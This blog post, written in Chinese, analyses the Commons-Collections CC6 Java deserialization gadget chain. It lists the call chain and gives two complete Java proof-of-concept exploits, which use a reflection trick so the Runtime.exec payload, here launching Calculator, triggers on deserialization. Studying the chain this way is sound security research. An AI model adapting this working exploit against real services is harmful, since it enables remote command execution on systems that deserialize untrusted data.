利用条件
Commons-Collections 3.1 - 3.2.1版本
不限制JDK版本
利用链
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
利用链分析
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","aaa");
Map lazymap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tiedmap = new TiedMapEntry(lazymap, "aaa");
HashMap hashmap = new HashMap();
hashmap.put(tiedmap,"bbb");
serialize(hashmap);
// unserialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
objectInputStream.readObject();
}
}
对上面代码进行分析,发现和CC1的LayzMap链很类似,不过后面的用法不同。
那么我们接着CC1的获取到LazyMap对象开始说起,在LayzMap类中的decorate
方法返回了LazyMap对象,其对象的get
方法中调用了factory
的transform
方法,即触发Payload。
CC6这条链后面使用了TideMapEntry
类,构造方法分别初始化变量。
可知,map
变量即是我们的lazymap
对象,而想调用到chainedTransformer
的transform
方法,就必须要调用lazymap
对象的get
方法,那么在TideMapEntry
类中找找看有没有地方调用了。
发现getValue
方法调用了,再找一下是哪个函数调用了getValue
方法
在其类中发现hashCode
方法中调用了,那么后续我们怎么去利用调用到hashCode
方法呢?还记得URLDNS链吗?在HashMap
中调用put
方法中会调用到hashCode
方法。
这里使用HashMap
对象将TiedMapEntry
对象put进去,这样在反序列化HashMap
对象时,就会调用到HashMap
的readObject
方法,其方法有调用hash
方法
这样就能调用到我们上面说的lazymap
对象的get
方法
在序列化时成功执行,在序列化时触发并不是我们想要的,我们需要的是在反序列化时触发。想要解决这个问题,我们需要知道为什么在序列化时就能触发,因为HashMap
对象在调用put
方法时调用了hash
方法,进而一步一步往下执行,TiedMapEntry->getValue()
、LazyMap->get()
、ChainedTransformer->transform()
我们只需要将这三个中的一个对象先放置一个空的对象,再使用反射修改其对象的属性即可。
这里在LazyMap
调用decorate
方法时,将factory
参数赋值成一个没有意义的ConstantTransformer
对象,这样在序列化时就不会触发Payload,再使用反射将factory
变量值设置成Payload,这样在反序列化时就能够触发Payload了。
在反序列化时并没有触发,这里和URLDNS链很像,在调用hash
方法后判断了HashMap
对象的key
是否包含指定 lazymap
对象的key
在序列化时,判断不存在aaa
这个key则会触发ChainedTransformer
的transform
方法,然后将其key添加到HashMap
对象中,那么在下次反序列化时就执行不到158行到160行了,即不会触发Payload,那么有什么办法吗?当然有的,删除innerMap
或lazymap
对象的key即可。
至此执行成功,整条链都理清楚了,下面是整条链的利用过程代码。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","aaa");
Map lazymap = LazyMap.decorate(innerMap, new ConstantTransformer('a'));
TiedMapEntry tiedmap = new TiedMapEntry(lazymap, "aaa");
HashMap hashmap = new HashMap();
hashmap.put(tiedmap,"bbb");
lazymap.remove("aaa");
Class class_lazymap = LazyMap.class;
Field factory = class_lazymap.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
// serialize(hashmap);
unserialize();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
objectInputStream.readObject();
}
}
Author: wileysec
Permalink: https://wileysec.github.io/4255b60bf2b8.html
Comments